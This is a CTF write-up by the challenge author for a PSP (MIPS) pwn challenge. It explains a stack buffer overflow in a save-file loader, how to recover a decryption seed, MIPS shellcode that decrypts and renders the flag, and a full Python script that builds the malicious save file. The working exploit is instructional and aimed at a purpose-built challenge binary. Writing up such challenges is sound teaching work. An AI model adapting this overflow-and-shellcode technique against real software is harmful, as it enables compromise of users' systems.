PSP is love, PSP is life | From Dusk Till Dawn CTF Quals - RomHack Camp 2026
Writeup of the pwn challenge PSP is love, PSP is life I authored for From Dusk Till Dawn CTF Quals 2026, hosted by fibonhack and Cyber Saiyan.
Hope you had fun playing it!
Huge thanks to beryxz and the other fibonhack sysadmins for all their help with the remote challenge setup ❤️
Intro#
The challenge provides an ELF binary compiled for the MIPS architecture.
The challenge description states that this is a PSP (PlayStation Portable) game!
We can play it by loading it into any PSP emulator (I used PPSSPP).

If we try to press X after the dialogue, a message stating that the save file is missing will appear:

So we will need to create a valid save file.
Analyzing the binary with a disassembler (such as Ghidra or IDA), we can identify the main vulnerability in load_save_data.
The program reads data without bounds checking from the savedata.bin file and copies it into a local buffer allocated on the stack (char buffer[64]).
This is a classic stack buffer overflow vulnerability that could allow us to overwrite the return address ($ra) and hijack the execution flow.
Oh no! A seed :(#
Looking at the global variables, we can identify a buffer called secret_data. Maybe it contains something interesting!
Then, by inspecting the functions, we notice a suspicious one that is never called.
void weird_route(unsigned char seed) {
unsigned char lcg_state = seed ^ 0xAD;
for (int i = 0; i < secret_len; i++) {
secret_data[i] ^= lcg_state;
lcg_state = (lcg_state * 13 + 37) & 0xFF;
}
}
secret_data was encrypted!The seed is generated dynamically by combining two elements:
- A specific pixel read from the
background.pngasset - A specific byte of the stack pointer (
$sp >> 8), captured right when the game starts
Writing the exploit#
Settings > General > Show developer menu.Click on the
DevMenu icon on the top left on the screen while the game is running, then go to Debugger.For example, you can show CPU Debugger, GP registers and Breakpoints windows.
Since we have control over the return address of the load_save_data function, we could write shellcode somewhere in memory (for example, global_temp_buffer, which is in the .bss section) that reverses the function weird_route and decrypts the flag, then jump to it.
In a local environment we can easily see the decrypted result in the Memory window using the PPSSPP debugger, without having to print it out. The decrypted data will be a dummy plaintext message (“bzz bzz you got the weird route”).
But the remote instance doesn’t allow any interaction with the emulator.
So our shellcode will need to somehow print the secret data after decrypting it.
We must perform the following steps:
Recover the seed:#

Set a breakpoint at 0x8804c60 in the main function to see xor operands in v0 and v1 (stack and pixel values) to easily find the seed
Since the game is running inside an emulator without ASLR, the memory layout is completely deterministic.
The seed will always remain the same, both locally and on the remote server!
Writing the shellcode:#
▼ initialize the state
addiu $s1, $zero, 0x6e # initialize LCG state = seed (0x6e)
xori $s1, $s1, 0xad # lcg_state XOR 0xad
lui $s0, 0x0888 # load high half of the flag address
ori $s0, $s0, 0x7258 # load low half ($s0 = secret_data ptr)
addiu $s2, $zero, 31 # set loop counter ($s2 = 31) and multiplier ($s3 = 13)
addiu $s3, $zero, 13 ▼ decrypt the flag
loop_start:
lbu $t0, 0($s0) # load enc char into $t0
xor $t0, $t0, $s1 # decrypt char ($t0 XOR lcg_state)
sb $t0, 0($s0)
mult $s1, $s3 # update lcg_state
mflo $s1
addi $s1, $s1, 37
andi $s1, $s1, 0xff # mask (lcg_state &= 0xff)
addiu $s0, $s0, 1 # inc char pointer
addiu $s2, $s2, -1 # dec counter
bnez $s2, loop_start # if not done, jump back to loop_start
nop # branch delay
sb $zero, 0($s0) ▼ print the flag
render_loop:
# oslStartDrawing()
lui $t9, 0x0880
ori $t9, $t9, 0x6170 # oslStartDrawing address
jalr $t9 # call
nop
# oslDrawString(20, 100, secret_data)
addiu $a0, $zero, 20 # X coord = 20
addiu $a1, $zero, 100 # Y coord = 100
lui $a2, 0x0888
ori $a2, $a2, 0x72d8 # text param = secret_data ptr
lui $t9, 0x0880
ori $t9, $t9, 0x9f64 # oslDrawString address
jalr $t9
nop
# oslEndDrawing()
lui $t9, 0x0880
ori $t9, $t9, 0x6208 # oslEndDrawing address
jalr $t9
nop
# oslSyncFrame()
lui $t9, 0x0880
ori $t9, $t9, 0x81b4 # oslSyncFrame address
jalr $t9
nop
j render_loop # jump back to render_loop start to freeze the frame
nopThis single instruction slot is known as the Branch Delay Slot.
- The CPU executes the jump
- While the jump is being processed, the CPU executes the next instruction (the
nop) - Finally, the execution flow lands at the expected address
Without this nop, the processor would execute the instruction immediately following the branch during every iteration of the loop, breaking our logic!
It could also lead to executing garbage memory if the jump is the very last instruction of our payload.
Recap: Overwrite $ra using the buffer overflow to jump to our shellcode, which we will place inside the global_temp_buffer.
Skipping the dialogue#
Well… If you write a payload without enabling the option to skip the dialogue (SKIP=0), the server will return a screenshot of the game before the loading screen without proceeding.
This happens because the game expects the X key to be pressed, but remember that we can’t interact with the remote game.
We just need to set SKIP=1 in our save file before the payload to go straight to the loading screen.
Full exploit#
import struct
# find the addresses with psp-nm chall.elf | grep <name>
secret_data = 0x088872d8
buffer = 0x08886ad8
oslStartDrawing = 0x08806170
oslDrawString = 0x08809f64
oslEndDrawing = 0x08806208
oslSyncFrame = 0x088081b4
shellcode_offset = 1100 # write the shellcode in the middle of the global buffer
target = buffer + shellcode_offset
offset = 1076 # offset to reach the return address
def build_shellcode():
code = [
# decrypt
0x2411006e, # addiu $s1, $zero, 0x6e (init lcg state)
0x3a3100ad, # xori $s1, $s1, 0xad
0x3c100888, 0x361072d8, # lui $s0, 0x0888 | ori $s0, $s0, 0x72d8 (load flag ptr)
0x2412001f, # addiu $s2, $zero, 31 (set loop counter)
0x2413000d, # addiu $s3, $zero, 13 (set multiplier)
# loop start:
0x92080000, # lbu $t0, 0($s0) (load char)
0x01114026, # xor $t0, $t0, $s1 (decrypt char)
0xa2080000, # sb $t0, 0($s0) (store char)
0x02330018, # mult $s1, $s3 (update lcg)
0x00008812, # mflo $s1
0x22310025, # addi $s1, $s1, 37
0x323100ff, # andi $s1, 0xff
0x26100001, # addiu $s0, $s0, 1 (next char ptr)
0x2652ffff, # addiu $s2, $s2, -1 (dec counter)
0x1640fff6, # bnez $s2, loop_start (jump back if not done)
0x00000000, # branch delay slot
0xa2000000, # sb $zero, 0($s0) (add null terminator at secret_data[31])
# print flag, I used Start -> Draw -> End -> Sync cycle since it is more stable than a raw oslPrintf_xy call, which could lead to graphic crashes
# oslStartDrawing()
0x3c190880, 0x37396170, # lui $t9, 0x0880 | ori $t9, $t9, 0x6170
0x0320f809, 0x00000000, # jalr $t9 | nop
# oslDrawString(20, 100, secret_data)
0x24040014, 0x24050064, # addiu $a0, $zero, 20 | addiu $a1, $zero, 100
0x3c060888, 0x34c672d8, # lui $a2, 0x0888 | ori $a2, $a2, 0x72d8
0x3c190880, 0x37399f64, # lui $t9, 0x0880 | ori $t9, $t9, 0x9f64
0x0320f809, 0x00000000, # jalr $t9 | nop
# oslEndDrawing()
0x3c190880, 0x37396208, # lui $t9, 0x0880 | ori $t9, $t9, 0x6208
0x0320f809, 0x00000000, # jalr $t9 | nop
# oslSyncFrame()
0x3c190880, 0x373981b4, # lui $t9, 0x0880 | ori $t9, $t9, 0x81b4
0x0320f809, 0x00000000, # jalr $t9 | nop
# j render_loop (target + 72)
0x08000000 | (((target + 72) >> 2) & 0x3FFFFFF),
0x00000000, # branch delay slot
]
return b"".join(struct.pack('<I', i) for i in code)
sc = build_shellcode()
payload = bytearray(shellcode_offset + len(sc) + 16)
# option to skip the dialogue
payload[0:7] = b'SKIP=1\n'
# overwrite $ra (return address) with the target address (= where the shellcode is stored)
for off in range(offset, offset + 4, 4):
struct.pack_into('<I', payload, off, target)
# shellcode
payload[shellcode_offset : shellcode_offset + len(sc)] = sc
with open("savedata.bin", "wb") as f:
f.write(payload)
Send the savefile and the server will give you a screenshot with the flag printed on the screen!